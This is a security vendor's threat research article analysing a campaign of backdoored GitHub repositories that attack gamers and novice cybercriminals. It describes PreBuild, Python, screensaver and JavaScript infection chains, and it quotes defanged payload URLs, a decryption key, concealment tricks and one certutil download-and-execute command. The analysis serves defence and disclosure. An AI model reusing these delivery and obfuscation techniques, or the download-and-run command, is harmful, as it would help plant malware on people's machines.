At Sophos X-Ops, we often get queries from our customers asking if they’re protected against certain malware variants. At first glance, a recent question seemed no different. A customer wanted to know if we had protections for ‘Sakura RAT,’ an open-source malware project hosted on GitHub, because of media claims that it had “sophisticated anti-detection capabilities.”
When we looked into Sakura RAT, we quickly realized two things. First, the RAT itself was likely of little threat to our customer. Second, while the repository did indeed contain malicious code, that code was intended to target people who compiled the RAT, with infostealers and other RATs. In other words, Sakura RAT was backdoored.
Given our previous explorations of the niche world of threat actors targeting each other, we thought we’d investigate further, and that’s where things got odd. We found a link between the Sakura RAT ‘developer’ and over a hundred other backdoored repositories – some purporting to be malware and attack tools, others gaming cheats.
When we analyzed the backdoors, we ended up down a rabbit hole of obfuscation, convoluted infection chains, identifiers, and multiple backdoor variants. The upshot is that a threat actor is creating backdoored repositories at scale, predominantly targeting game cheaters and inexperienced threat actors – and has likely been doing so for some time.
Our research suggests a link to a Distribution-as-a-Service operation previously reported on in 2024-2025 (see Prior work), but which may have existed in some form as early as 2022.
We have reported all the backdoored repositories still active at the time of our research to GitHub, as well as a repository hosting a malicious 7z archive. We also contacted the owners/operators of relevant paste sites hosting obfuscated malicious code. As of this writing, the repository hosting the malicious 7z archive, the vast majority of the backdoored repositories, and many of the malicious pastes, have been taken down.
After receiving the enquiry from our customer, we examined the Sakura RAT source code, which at the time was publicly available on GitHub. We quickly realized that the malware wouldn’t function if built, since many of the forms were empty. Some of the code also appeared to have been copied directly from AsyncRAT, a well-known and widespread open-source RAT.
But on closer inspection, we noticed something unusual. Sakura RAT’s .vbproj file – a file which holds the information needed to build a Visual Basic project – contained a long string in the
In Visual Studio, PreBuild events enable developers to specify commands that should be executed before the project is built. These commands can be anything that would work in a normal Windows command prompt. For example, if a developer needs to create a directory on a user’s machine before a build, they can insert mkdir
In this case, the RAT developer was doing something more nefarious. The PreBuild event contained commands designed to silently download malware onto a user’s device.
Figure 1: The backdoor in one of the malicious project files
We – likely along with other researchers – quickly notified GitHub that the repository contained malicious code, and it was taken down. We also developed protections and replied to our customer, noting that not only did the RAT itself not work, but the malicious code it did contain was targeting cybercriminals and gamers who download cheats and hacks, rather than businesses.
Nevertheless, our curiosity was piqued. Were there other repositories like this? And what was the endgame?
You get a backdoor! You get a backdoor! Everyone gets a backdoor!
In the Sakura RAT repository, we noticed that a YAML (YAML Ain’t a Markup Language) file in the .github directory contained an email address: ischhfd83[at]rambler[.]ru (Rambler is a Russian search engine, web portal, news site, and email provider). We also had the backdoor code itself from the .vbproj file. So we ran code searches on GitHub for both the email address and a snippet of the code, to find other backdoored projects.
Figure 2: A .yaml file from one of the malicious GitHub repositories, containing the ischhfd83 email address
They existed. Not just one, or two, or ten, but over a hundred.
In total, we discovered 141 repositories. 133 of them were backdoored, with 111 containing the PreBuild backdoor. We also discovered three other types of backdoor: Python (14), screensaver files (6), and JavaScript (2). Based on other researchers’ reports on this topic (see Prior work), there were likely more malicious repositories, which GitHub and/or the threat actor have since removed.
Of the backdoored repositories we found, around 24% claim to be malware projects, exploits, or attack tools. The majority (58%) are supposedly gaming cheats, with bot-related projects (7%), cryptocurrency tools (5%), and miscellaneous tools (6%) making up the remainder.
Figure 3: One of the malicious repositories – this one claiming to be an exploit builder for CVE-2025-12654
The oldest commit we could find for a backdoored repository was November 2, 2023. The most recent commit for many projects was the same day we looked at them – in some cases only minutes before.
Distribution
The distribution method for this campaign is unclear. As noted in the Prior work section, some previous and possibly related campaigns used Discord servers and YouTube channels to spread links to backdoored code and repositories, so it’s possible that something similar is occurring here.
We also observed an interesting distribution-related side-effect. Some media outlets and social media users picked up on the speculation about Sakura RAT’s capabilities, presumably without knowing about the backdoor, and in an effort to raise awareness posted about it – thereby inadvertently promoting the repository. (Our customer’s query quoted two such instances.) This led to a secondary distribution channel, whereby some users who read the coverage were trying to download and build the RAT.
Figure 4: A user on a cybercrime forum asks where to get a copy of Sakura RAT, having seen media coverage of it
However, it’s also possible that in the case above, this threat actor and another were attempting a sort of guerilla promotional campaign.
Figure 5: A post on a cybercrime forum asking for help with Sakura RAT
Both users engaged in the thread in Figure 5 and the original poster also shared an alternative download link – perhaps to induce other users into downloading and running it.
Meanwhile, over on another prominent underground forum, threat actors quickly realized the Sakura RAT repository was backdoored.
Figure 6: A threat actor discovers the backdoor in Sakura RAT
The YAML illusion
Regardless of the distribution method, the threat actor appears to be going to some lengths to make their backdoored repositories seem legitimate, particularly through the number and frequency of commits.
A closer look at the YAML file present in most of the repositories demonstrates this. The threat actor is automating commits using a GitHub Actions workflow – one that appears to be a lightly modified version of the YAML file hosted at this (likely legitimate) GitHub repository.
Figure 7: One of the YAML files from a backdoored repository
The logic of this workflow is as follows:
- On a push to the main branch:
- AND every minute (as per the POSIX cron syntax):
- Write the current date and time to a specified file in the repository
- Commit the changes.
In practice, these updates do not seem to be occurring every minute. As per GitHub’s documentation, the shortest interval for scheduling workflows is actually five minutes, and there may be some latency and/or rate-limiting involved as well, which could account for the erratic timings.
Figure 8: An example of the workflow runs from another backdoored repository – 4,575 in total, at the time of taking the screenshot
These YAML files are virtually identical across all the repositories we found. All contain the same logic, and all have the same workflow name at the beginning of the file: “Star.”
Figure 9: The ‘date and time’ file in the malicious exploit builder repository
Figure 10: The commit history for that file
As for the motivation behind this workflow, the threat actor may want to give the illusion that their repositories are regularly maintained, so as to attract more potential victims. This contrasts with similar campaigns exposed by other researchers in the past (see Prior work), where threat actors used fraudulent stargazing to give the illusion of popularity.
We found that, among the repositories for which we could get information, the average number of stars per repository was only 2.78 – a lot fewer than the numbers quoted in previous research. We also used Checkmarx’s Python script, designed to assess repositories for illicit stargazing activity (linked from this article; see also Prior work). The tool marked only 25% of the repositories on our list as suspicious in this respect.
Patterns emerge
The backdoored repositories had several peculiar characteristics:
- Because of the automated workflow runs, many projects had large numbers of commits (one had almost 60,000, despite having only been created in March 2025). Across all repositories, the average number of commits was 4,446 at the time of our initial collection
- The 97 unique repository owners typically had few other repos – mostly none, never more than nine.* Only 18 users owned more than one backdoored repository
- If owners did have multiple repositories, all tended to have the same dates for first commit, most recent commit, and release date (if there was a release)
- Most repositories had a small number of contributors – never more than four, but usually three including the owner (average: 2.6)
- Contributors typically had no repositories of their own
- Contributors almost exclusively clustered to repository owners. For example, the user Aragask owned nine repositories. On each of these, the only other contributors were Mastoask and mollusk9558. Neither user, nor Aragask, made any contributions to repositories owned by anyone else
- In general, contributors did not work across multiple repository owners. We only found one exception to this rule, where a single contributor (mutalqahtani) worked on two repositories belonging to different owners
- We noted certain recurring patterns in some usernames – for instance: Mastrorz, Maskasod, Mastersxz54, Mastoask, Mask4s, Maskts, and Mastosdt; lordmba12 and lordmmbba; MyksLoL, MyskHccr, and MytichArrow
- Eight repositories did not appear to contain a backdoor, but were linked to the rest via the ischhfd83 email address. These projects had some of the same characteristics as the backdoored ones, such as repeated contributors and frequent commits
- Five repositories contained a backdoor but not the ischhfd83 email address.
We examined the repositories that were still online at the time of our research, and analyzed the number of commits per contributor.
86% of repositories had only three contributors, including the repository owner. In these repositories, we observed an interesting pattern, showing that each contributor may have a distinct role:
- Owners almost always had the ischhfd83 email address (which we obtained by adding ‘.patch’ to an individual GitHub commit URL, as shown in Figure 11) and were responsible for around 98.5% of all commits, via the auto-commit workflow described earlier
- Second contributors typically had an Outlook email address, usually an alphanumeric string not obviously linked to their GitHub username (example: dfghtjyfdyhu567[at]outlook[.]com). They were responsible for around 1.4% of all commits, and usually added the backdoored file(s), along with other code and files
- Third contributors had the same kind of email address as second contributors, but often made only two commits – two YAML files, one of which contains the auto-commit workflow. Third contributors accounted for only 0.1% of all commits.
Figure 11: Obtaining contributor email addresses by adding “.patch” to commit URLs
Figure 12: Repository owners tended to have the most commits, due to the auto-commit workflow. In this case, the owner is ThoristKaw, with 880 commits
Figure 13: Second contributors – in this case, unrelated4391 – typically committed code to the repositories, including the backdoored file, but did not make regular commits. unrelated4391 made only 17 commits
Figure 14: Third contributors – in this case, Matarixm – typically only made two commits: the YAML files, one of which contains the auto-commit workflow logic
These distinct roles may indicate that some kind of automation framework underpins this campaign.
A brief caveat: It’s worth noting at this point that some repositories were going offline before we could fully analyze them. At first, we thought that the threat actor might be cleaning house. But since several repositories associated with the ischhfd83 email address remained online, we think that staff at GitHub, alerted by reports relating to Sakura RAT (or reports about other malicious repositories), went hunting for other backdoors. Other repositories have been created in the time between our initial research and drafting this article. We are therefore working from an incomplete dataset due to circumstances beyond our control; this should be taken into account when making any inferences based on the information in this article.
* We saw a few exceptions to this pattern, where owners of backdoored repositories had many more repositories. We looked at these, and found that they did not fit the characteristics of the others in our collection, and were not backdoored. We therefore assess that the users in these cases may be legitimate developers, who unwittingly copied backdoored code into their own repositories. Other users had forked backdoored repositories.
As mentioned, we discovered four different kinds of backdoor, each with their own variances and quirks. In each case, however, the infection chain is long, complex, and convoluted, and we suspect that the threat actor has taken the phrase ‘security through obscurity’ to heart.
The PreBuild backdoor
Stage 1: The backdoor
The initial backdoor in the
Figure 15: The initial backdoor
This code simply echoes some commands to a VBS file created in a new subfolder (C:/Users/
Stage 2: VBS
The VBS script concatenates the three Base64-encoded strings (variables b, c, and d in Figure 15) and writes them out to a PowerShell script in the same directory, before calling PowerShell to execute that script.
Figure 16: The VBS script
Stage 3: PowerShell
Figure 17: The PowerShell script
This script decodes the string contained in the $R variable, then reverses, Base64-decodes, and executes it via Invoke-Expression.
Here’s the decoded string:
Figure 18: The decoded PowerShell script
The code loops continuously over four functions (r1, 1, x, o). Each function calls p(), which decodes a hardcoded string (via the d() function), fetches some content from the resulting URL, decodes the result, then downloads a 7z archive from the URL in that result.
Next, it calls the e() function to extract the archive (which calls d() to decode the archive’s password), and finally runs an executable from the extracted archive called SearchFilter.exe. The script also checks to see if 7zip is already installed on the user’s system; if not, it downloads and installs it.
The four hardcoded strings are URLs, and are decoded using the string contained in the $prooc variable.
The decoding function d() Base64-decodes a string (first parameter), converts the result to UTF8, and then loops over each character in the string and each character in the key (second parameter), subtracting the ASCII values of the latter from the former.
Figure 19: The d() function
We decoded the hardcoded strings to obtain the four URLs:
- hxxps://rlim[.]com/seraswodinsx/raw
- hxxps://popcorn-soft.glitch[.]me/popcornsoft.me
- hxxps://pastebin[.]com/raw/LC0H4rhJ
- hxxps://pastejustit[.]com/raw/tfauzc15xj
Stage 4: 7zip archive
There was no 7z archive at any of these URLs, just another encoded string:
Figure 20: The encoded string
Using another key hardcoded in the script (stored in the $proc variable), we were able to decode this string, giving us hxxps://github[.]com/unheard44/fluid_bean/releases/download/releases/SearchFilter.7z.
True to form, the threat actor was hosting their payload on GitHub (this repository is no longer available, following our report to GitHub). On this occasion, the repository was forked from an old and seemingly legitimate repository, last updated 17 years ago. The code in the repository itself appears benign; the malware is in the release.
Figure 21: The malware hosted on GitHub
Figure 22: unheard44’s GitHub profile
The password to extract the archive is also obfuscated, but in this case it’s simply Base64- and UTF8-encoded. Once the archive is extracted, we can see the contents:
Figure 23: The extracted contents of SearchFilter.7z
The PowerShell script attempts to launch SearchFilter.exe, a very large binary. The additional files in this directory are associated with Electron app compilation.
(The use of Electron to create and distribute malware – particularly infostealers – is a relatively recent development; researchers have reported several cases in the last couple of years. A few examples: Doenerium and Epsilon Stealer, SYS01, and Tusk. It is also a common feature in many backdoor campaigns – see Prior work for details.)
In the resources subdirectory, we saw a large file called app.asar. ASAR (Atom Shell Archive Format) is an archive format used to bundle Electron apps. The malicious code is contained within this file; the SearchFilter executable builds and runs it.
Once we’d unpacked and beautified app.asar, a look at the associated JSON file showed that the app calls itself TeamsPackage and has several interesting dependencies, including a mutex checker and a library for taking screenshots.
Figure 24: The packages.json file associated with app.asar
Looking at main.js, we quickly ascertained that the file was extremely large (over 17,000 lines) and much of it was heavily obfuscated; however, we could discern malicious intent from some of the plaintext strings:
Figure 25: An excerpt from main.js showing various malicious capabilities – note the PowerShell code referring to Defender exclusions and the deletion of shadow copies
Figure 26: Creating scheduled tasks and manipulating registry entries
Other functions we noted included an IP address checker, a function to communicate via Telegram, the creation of scheduled tasks, and the extraction of files from infected hosts.
Figure 27: As a crude anti-VM measure, the malware executes a PowerShell command to obtain the number of CPU cores
On infection, the malware collects some basic infection about the infected device – such as username, hostname, home directory, network interfaces, and operating system version and architecture – and sends it to the attacker via Telegram. We’ll discuss Telegram and what it can tell us about this campaign a little later.
Figure 28: Telegram details used to notify the threat actor of new infections
The malware proceeds to run several malicious PowerShell scripts and manipulate registry entries to disable Windows Defender, delete shadow copies, and terminate common analysis and debugging tools. It then downloads and executes multiple infostealers and RATs, as described in this comprehensive technical analysis, attributed to Huorong Threat Intelligence Center, of the malware – including AsyncRAT modules, Remcos, and Lumma Stealer. A publicly-available sandboxed analysis of the malware is available here.
A dive into the eventual malware is out of scope for this article, but we’ll be assessing in due course whether we can contribute any new findings to the detailed analyses that have already been done. We have previously published an in-depth report on Lumma Stealer, and you can find some of our previous research relating to Remcos here and here.
Interestingly, in a couple of cases, we noted that the PreBuild command was just a script to download and execute putty – a standard method for testing proof-of-concepts. For example:
cd %USERPROFILE%\Desktop && certutil -urlcache -split -f hxxps://the[.]earth[.]li/~sgtatham/putty/latest/w64/putty.exe putty.exe && start putty.exe
The Python backdoor
In 14 projects, we observed Python variants of the backdoor. As with the PreBuild backdoors, the Python scripts contain a large obfuscated string.
However, the threat actor employed an interesting, if trivial, tactic with their Python variants, presumably in an attempt to evade detection. When viewing the file in a browser, or in a text editor without word wrapping enabled, the backdoor is not visible:
Figure 29: app.py, a file in one of the backdoored repositories
However, the backdoor is there – the threat actor has simply placed it very far to the right, necessitating a lot of horizontal scrolling:
Figure 30: The start of the Python backdoor
Figure 31 shows the revealed backdoor. First, the code silently installs three packages using pip: cryptography, fernet, and requests.
Figure 31: One of the Python backdoors
Here, the threat actor is using Fernet, a Python library, for symmetric encryption. The encrypted code is decrypted and then executed at runtime. Since the key (“vibe.process-byunknown”) is hardcoded into the script, decryption is simple:
Figure 32: The decrypted second-stage payload for the Python backdoor
As with the Batch/VBS/PowerShell implementation, this script contains three encoded URLs, and a key to decode them. Doing so provides us with a list of URLs to get the next stage in the infection chain:
- hxxps://rlim[.]com/pred-FMoss/raw
- hxxps://paste[.]fo/raw/e79fba4f734e
- hxxps://pastejustit[.]com/raw/16qsebqoqq
At each URL is yet another encoded string (identical across the three sites):
Figure 33: A large block of encoded content at one of the URLs
The second-stage payload decodes this string with the same key used to decode the URLs, writes the output (Python code) to the user’s %TEMP% folder, and executes it.
Figure 34: Part of the decoded third-stage payload
The resulting script contains two more encoded URLs – and also, interestingly, two comments in Russian at the end of the file:
Figure 35: Two comments in Russian in the third-stage script. These translate as “Manufacturer: unknown. If you’ve come this far, you have a long way to go.”
The two URLs decode to:
- hxxps://rlim[.]com/seraswodinsx/raw
- hxxps://pastebin[.]com/raw/yT19qeCE
Pastebin had removed the paste at the time of our research, but the rlim URL was still active (it is now down, following our notification to rlim) – it is identical to the one we discussed earlier. So from this point, the infection chain is as per the PreBuild backdoor.
We noted that in this version of the backdoor, the threat actor hardcoded the archive password in the script:
Figure 36: The password for the malicious SearchFilter.7z archive, hardcoded in the third-stage Python script
The screensaver backdoor
Six repositories contained a .scr file masquerading as a .NET .sln (solution) file.
Solution files are text-based, and can be opened with a text editor; when hosted on GitHub, they can be viewed in a browser. In these six repositories, we noticed that not only could we not view the solution file, but there was an additional period in the filename, which immediately raised our suspicions.
Figure 37: One of the malicious .scr backdoors
Once we downloaded these ‘solution files’ to examine them more closely, we discovered that the threat actor was using a somewhat archaic trick to deceive users: right-to-left override (RLO). RLO involves the use of a Unicode character (U+202E); when inserted into a string, it renders everything after it as right-to-left, rather than left-to-right.
The filename in Figure 37, for example, is actually Paypal Payment Resou[U+202E]nls..scr. The threat actor makes use of the letters in the .scr extension to complete the word ‘Resources’ (albeit incorrectly), so that the filename appears as shown in the image.
We found that five of the .scr backdoors were identical, and well-known on VirusTotal (first seen in December 2023). When decompiled, they contain a simple backdoor: a large, reversed string. The code reverses this string again at runtime, writes it to a batch file, and executes it.
Figure 38: Reversed malicious code in the .scr file
The resulting script, as shown in Figure 39, attempts to download six files from hxxps://img[.]guildedcdn[.]com using PowerShell (Guilded is a chat platform, similar to Discord). Three are saved as batch scripts, and three as executable files. Next, the script tries to download and run two further executable files.
Figure 39: The reversed code
The hosting domain is no longer serving those files, so we were unable to examine them. However, analysis of a similar campaign in November 2023 suggests that the eventual payload was AsyncRAT.
The remaining .scr file was packed:
Figure 40: A look at the remaining .scr file
Searching for the hash value of this file on VirusTotal revealed that it’s also very well-known, first submitted in December 2023, and may also be linked to AsyncRAT.
The JavaScript backdoor
We also found two examples of a JavaScript backdoor. The first is relatively simple; it contains two large blocks of Base64-encoded text (one of which doesn’t appear to be used at all). At runtime, one of these blocks is decoded and passed to eval() to execute.
Figure 41: A backdoor in a JS file
Decoded and beautified, the second-stage payload is once again heavily obfuscated:
Figure 42: The second-stage JavaScript payload
Stepping through this payload in a debugger, we find two encoded strings, and the same key used in the Python backdoor: “vibe.process-byunknown.”
Figure 43: Finding plaintext strings in the first JavaScript backdoor
The URLs in this case decode to:
- hxxps://rlim[.]/drone-SJ/raw
- hxxps://pastebin[.]com/raw/ZTrwn94g
At both URLs is a large block of encoded text:
Figure 44: The encoded text at one of the malicious URLs
We could decode this with the same algorithm and key used to decode the URLs – resulting in yet more obfuscated JavaScript. Once decoded and beautified, this third-stage payload appears to try to download 7Zip if not already installed, and contacts the same URLs used by the PreBuild backdoor – therefore eventually resulting in the download and extraction of the SearchFilter.7z archive.
Figure 45: The third-stage payload running in a debugger; note the decoded URL. We also noted two other URLs used in the PreBuild backdoor
The second backdoor is slightly different, although the outcome is the same. It contains four encoded URLs within the body of the code:
Figure 46: Encoded URLs in the second JavaScript backdoor
As in the previous case, these are decoded with the “vibe.process-byunknown” key (hardcoded in plaintext as a constant), via the calc() function:
Figure 47: The calc() function in the second JavaScript backdoor
Figure 48: The calc() function is invoked to decode the encoded URLs and download a secondary payload
The decoded URLs are as follows:
- hxxps://rlim[.]com/drone-SJ/raw
- hxxps://paste[.]fo/raw/6c2389ad15f1
- hxxps://pastebin[.]com/raw/ZTrwn94g
- hxxps://pastejustit[.]com/raw/zhpwe7mrif
The infection chain after this point is the same as the previous example.
As we looked into this topic, it became apparent that similar and/or related campaigns had occurred before. In this section, we’ll briefly summarize some of the prior research into these campaigns, in rough chronological order. Please note that this is not necessarily an exhaustive list; apologies to any researchers we may have inadvertently omitted.
August 2022: Checkmarx publishes research on a large-scale campaign targeting GitHub repositories, whereby a user was forking legitimate repositories and inserting backdoors. There do not appear to be many similarities between this and the ischhfd83 campaign.
May 2023: Approach-Cyber reports on a campaign involving ‘Kekw’ malware, whereby malicious Python packages were distributed via suspicious GitHub repositories. The campaign involves Electron apps, and Python scripts that use Fernet for encryption.
June 2023: Approach-Cyber publishes a follow-up featuring a suspicious GitHub account with backdoored repositories (the backdoors, in Python, use the whitespace trick referred to earlier, but have a different, plaintext payload).
October 2023: Trend Micro reports on a campaign involving GitHub repositories containing Python backdoors. The backdoors leveraged the whitespace trick we discussed earlier. The infection chain ended with the installation of BlackCap-Grabber (an information stealer) and a malicious Electron app.
October 2023: Checkmarx publishes research on a large collection of backdoored Python packages, resulting in the installation of a malicious Electron app and the exfiltration of personal data.
November 2023: Checkmarx reports on the artificial inflation of repository stars via the black market.
April 2024: Checkmarx reports on a campaign involving auto-commits and fake stars to boost the popularity of backdoored repositories (using PreBuild backdoors). This is likely linked to ischhfd83. Checkmarx notes that the eventual payload is similar to the Keyzetsu clipboard-hijacker malware.
April 2024: A researcher by the name of ‘Hot pot with meatballs’ (trans.) publishes a blog on a backdoored GitHub repository. The backdoor was a malicious .scr file masquerading as a solution file, with the eventual payload being AsyncRAT. Interestingly, while some of the TTPs were different, the researcher notes the presence of the ischhfd83 email address, Electron apps, and a 7zip archive password identical to the one used in the current campaign.
July 2024: Check Point reports on what it calls the ‘Stargazers Ghost Network,’ a large organization of GitHub accounts used to distribute malware via repositories themed around gaming cheats and malware, operated by a threat actor that Check Point calls Stargazer Goblin. The end objective of infections was the installation of various infostealers, including Lumma Stealer. Check Point attributes this network to a Distribution-as-a-Service (DaaS) operation offered for sale on a criminal forum, and notes that the ‘distribution universe’ may be much larger, involving other platforms. It also finds that malicious accounts have defined roles, much like we found with this campaign.
September 2024: Researcher g0njxa posts a Twitter thread on a campaign involving PreBuild backdoors, with the Guilded CDN used for hosting malware. This campaign featured the same Telegram bot we report here, as well as the Ali888Z Pastebin user (see Who is ischhfd83?) and some of the same paste site links. g0njxa notes that this is similar to the campaign reported by Checkmarx in April 2024.
November 2024: Researcher Deividas Lis publishes a post on a Python backdoor in a repository, distributed on Discord. This backdoor uses the whitespace trick, and Lis also discovers the same comments in Russian that we noted earlier.
January 2025: CloudSek reports on a ‘trojanized’ version of the XWorm RAT builder, distributed via a GitHub repository, resulting in an infostealer infection. Telegram was used as a C2 mechanism.
January 2025: Trend Micro publishes research on a campaign that seems to overlap with the Stargazers Ghost Network (albeit with some key differences), involving GitHub’s release infrastructure and resulting in Lumma Stealer infections.
February 2025: Kasperky reports on a campaign involving 200 backdoored GitHub repositories, which it dubs ‘GitVenom.’ This campaign involved auto-commits, multiple backdoor variants, and several eventual payloads, including AsyncRAT, Quasar, and a clipboard hijacker. This is likely either the current campaign or a closely linked variant.
March 2025: 4SecNet publishes research on the current campaign, finding 38 backdoored repositories.
April 2025: Researchers on Twitter identify the backdoor in Sakura RAT.
April 2025: Huorong Threat Intelligence Center reports on the current campaign or a closely-linked variant (the GitHub repository used to host SearchFilter.7z is different in this report).
Meet the new threat actor, same as the old threat actor?
Looking at the previous research on this topic, it’s clear that some campaigns overlap, and also that there seem to be shifts in tactics and approaches.
The threat actor in this campaign could be a new customer of the Stargazer Goblin DaaS operation, which has evolved over time; the threat actor may also have made their own tweaks and customizations. Alternatively, this could be a rival DaaS operation – or a standalone threat actor leveraging what appears to be a proven and effective distribution method.
We were interested to read in Check Point’s Stargazer Goblin coverage that it had observed a threat actor offering paid GitHub malware distribution on a criminal forum. Since Check Point’s research was published almost a year ago, we had a look and observed that the threat actor in question is still actively advertising this service. The post in Figure 49 is from February 2025.
Figure 49: A post on a Russian-language cybercrime forum, suggesting that this activity has been ongoing for three years. This user posts in both Russian and English
‘Unknown’ and ‘Muck’
We went through all the repositories we’d collected, and observed several names and aliases, either within source code files or in associated material, such as instructional videos. We assess that at least one of these identifiers is associated with a threat actor.
However, we did not find any evidence linking this threat actor to the backdoor campaign at this time. The threat actor behind the backdoor campaign may have simply taken code from other sources (potentially including other threat actors), added a backdoor, and then uploaded the result to a repository they controlled.
We have reason to believe that another identifier we discovered, and which we came across several times in different contexts, may be the threat actor’s name, or an alias. However, we are still investigating this aspect of the case and will not be sharing it publicly at this time.
Among the other identifiers we found, we assess that the name Unknown is likely relevant. Not only did we observe comments in Russian in one of the malicious Python scripts relating to this name (“Manufacturer: unknown”), but there is also the encryption key that appears in many of the payloads: “vibe.process-byunknown.” unknown also appears as part of the Telegram bot’s username, shown in Figure 53, and the pastes on pastejustit[.]com (which redirect to pastesio[.]com) are authored by a user called unkownx.
Whether Unknown is an actual alias (one perhaps chosen to inconvenience researchers – try searching for “unknown” + “threat actor”), or the intentional absence of one, isn’t clear.
The name Muck may also be significant; it has made frequent appearances in these campaigns. For instance, one of the Discord channels used in an earlier (2023) campaign was named Muck (see Figure 59) and had profile images bearing that name. Muck is also present in some staging URLs (i.e., here, in a recent and likely related/identical campaign in April 2025, and here and here, both in April 2024).
Moreover, when we checked the other public pastes on pastesio[.]com by unkownx, we noted one which contained a link to a site called muckdeveloper[.]com (as well as two other pastes named predFMoss and seraswodinsz, strings we observed in two of the rlim links mentioned earlier).
Figure 50: One of unkownx’s pastes containing a link to muckdeveloper[.]com
Figure 51: The muckdeveloper site
A webhook, John Due, and an influencer
Earlier, we noted that the SearchFilter malware appears to notify the threat actor of new infections over Telegram. Usefully, the threat actor hardcoded their Telegram token in the malware, which means that we can use Telegram’s Bot API to obtain more information about the threat actor’s infrastructure. (As noted in the Prior work section, the same token and ID was present in a campaign in September 2024.)
Typically we would obtain this information by sending a request to the getUpdates API endpoint. However, in this case the threat actor is using a webhook, and as per the API documentation, these two methods are mutually exclusive.
However, we can send a request to getWebhookinfo instead, and retrieve some useful information:
Figure 52: The webhook the threat actor is using to receive notifications
Figure 53: Obtaining further information about the bot used to notify the threat actor of new infections. Note another appearance of unknown
The arturshi[.]ru domain used for the webhook was created on December 5, 2024. At the time of our research, it contained an automatic redirect to what purports to be a financial trading website, octofin[.]co. That domain was created on March 18, 2025. We assess that this site is intended to be deceptive, as its name appears to mimic that of a legitimate finance site – although the look and feel of both sites is notably different. We sent a notification to the company operating that site to make them aware of this.
The WHOIS details for octofin[.]co include ‘spain’ as the country and John Due as the registrant organization – possibly a misspelling or mistranslation of ‘John Doe.’
Figure 54: The arturshi[.]ru domain redirects to octofin[.]co
We used the Wayback Machine to inspect a snapshot of arturshi[.]ru in December 2024, before the redirect was implemented. We found a simple website that claimed to belong to a social media influencer, offering a paid course on neural networks.
While we found links on arturshi[.]ru to the influencer’s social media pages and some of their videos, we did not find the reverse to be true, and we found no mention of the domain on the influencer’s known website. We did, however, note that they do, or did, appear to offer a paid training course on neural networks, which is advertised on their site.
We also observed that the influencer’s site was created on October 13, 2023, but that they have been posting videos on YouTube since 2015 and have a relatively large number of subscribers. We did not find any mention of arturshi[.]ru in any YouTube video descriptions posted by the influencer since the date that domain was created.
The telephone number and email address provided on arturshi[.]ru both appear to be bogus; the former is +79999999999, and the latter is asdasd[at]gmail[.]com. Some elements of the arturshi[.]ru site, including some of the text and icons, appear to be the same as those on the influencer’s known website.
Figure 55: The arturshi[.]ru website before the redirect was implemented
We were unable to find anything else of interest relating to this domain at the time of our research.
A blast from the paste
Next, we examined the various paste sites the threat actor uses for intermediate stages in the infection chain. On Pastebin, we noted that the malicious pastes were uploaded by a user called Ali888Z.
Figure 56: A list of Ali888Z’s pastes
These pastes range from July 9, 2023 to February 25, 2025. Many of the older ones are empty. However, we did discover yet another backdoor in one (hxxps://pastebin[.]com/JEt0TFpK), dated September 3, 2023.
Figure 57: Part of backdoored JavaScript code discovered on Pastebin
Deobfuscating the backdoor reveals that the threat actor was at one time using Discord webhooks for notification/C2.
Figure 58: The deobfuscated backdoor reveals two Base64-encoded URLs
Figure 59: One of the decoded URLs. Note the name ‘Muck’
Figure 60: The second decoded URL, this time with the name ‘Spidey Bot’
These channels/users were created on September 2 and September 3, 2023 – the latter being the same date that the paste was created.
A code search on GitHub for snippets of this backdoor suggest that it’s linked to the funcaptcha/bananasquad campaign (see Prior work).
We also looked into the glitch[.]me link. Glitch.me is a development community, and the popcorn-soft subdomain in the threat actor’s link refers to a project. Searching for this project on Glitch reveals that it was created by a user called searchBRO @artproductgames.
Figure 61: searchBRO’s profile on Glitch
Our investigation into the strange case of ischhfd83 comes to an end there – for now. However, we suspect there may be more to this story, and will continue to monitor for further developments.
This investigation is a good example of how threats can be much more complex than they first appear. From an initial customer query about a new RAT, we uncovered a significant amount of backdoored GitHub repositories, containing multiple kinds of backdoors. And the backdoors are not simple; as it turned out, they were only the first step in a long and convoluted infection chain, eventually leading to multiple RATs and infostealers.
Ironically, the threat actor seems to predominantly target cheating gamers and inexperienced cybercriminals. We’ve previously reported on the subject of cybercriminals attacking each other, and while there’s a degree of schadenfreude to this, it doesn’t mean that nobody else is at risk.
For example, it’s very common for security researchers to download and run new malware as part of their investigative efforts. While most researchers take sensible precautions, such as only detonating malware in isolated analysis environments, we encourage our industry colleagues to double-check for signs of infection.
It’s also worth noting that malware doesn’t usually care who it ends up infecting, and so other groups may also have been infected – including people experimenting with open-source repositories out of curiosity. Again, we encourage anyone who thinks they may have been affected to look out for the indicators of compromise (available on our GitHub repository).
To avoid falling victim to these kinds of attacks:
- Be wary of downloading and running any tool or code, but particularly unverified repositories relating to malware and gaming cheats
- Where practical, inspect open-source code for anything unusual before downloading it. As shown in this campaign, red flags include blocks of obfuscated code/strings, code that tries to hide itself from casual inspection in whitespace, calls to unusual domains, and suspicious behavior/extensions
- Search for the names of open-source repositories online to see if there have been any reports of dubious activity. You may also want to consider submitting the files or associated URLs to our Intelix analysis tool, and searching for the hash values of files on sites like VirusTotal. Has anyone previously reported the repository or its file as suspicious?
- Be aware that unless you have verified the source and/or carefully inspected the code, compiling code from an open-source repository is no different to running an unverified executable downloaded from the internet
- Where possible, run untested code in an isolated environment first, such as a sandbox, container, or virtual machine, and verify that it functions as expected. Monitor the isolated environment for signs of anything suspicious, including attempted outgoing connections, odd files appearing in user folders, unexpected changes to the registry and scheduled task library, security products being disabled, and sudden increases in memory usage.
As we have noted throughout, we are by no means the first to report on this attack methodology, but we hope that our research will contribute to the body of knowledge on this topic.
It remains unclear if this campaign is directly linked to some or all of the previous campaigns reported on, but the approach does seem to be popular and effective, and is likely to continue in one form or another. In the future, it’s possible that the focus may change, and threat actors may target other groups besides inexperienced cybercriminals and gamers who use cheats.
Sophos has the following protections relating to this case:
- Troj/Boxtor-A
- Troj/Boxtor-B
- Troj/Boxtor-C
- Troj-Boxtor-D
- Troj-Boxtor-E
- Troj/AsyncRat-Q
- Troj/AsyncRat-R
Acknowledgments
Sophos X-Ops would like to thank Simon Porter, Gabor Szappanos, and Richard Cohen of SophosLabs for their contributions to this article. We are also grateful to those platform owners/operators who responded to our notifications and removed malicious material.
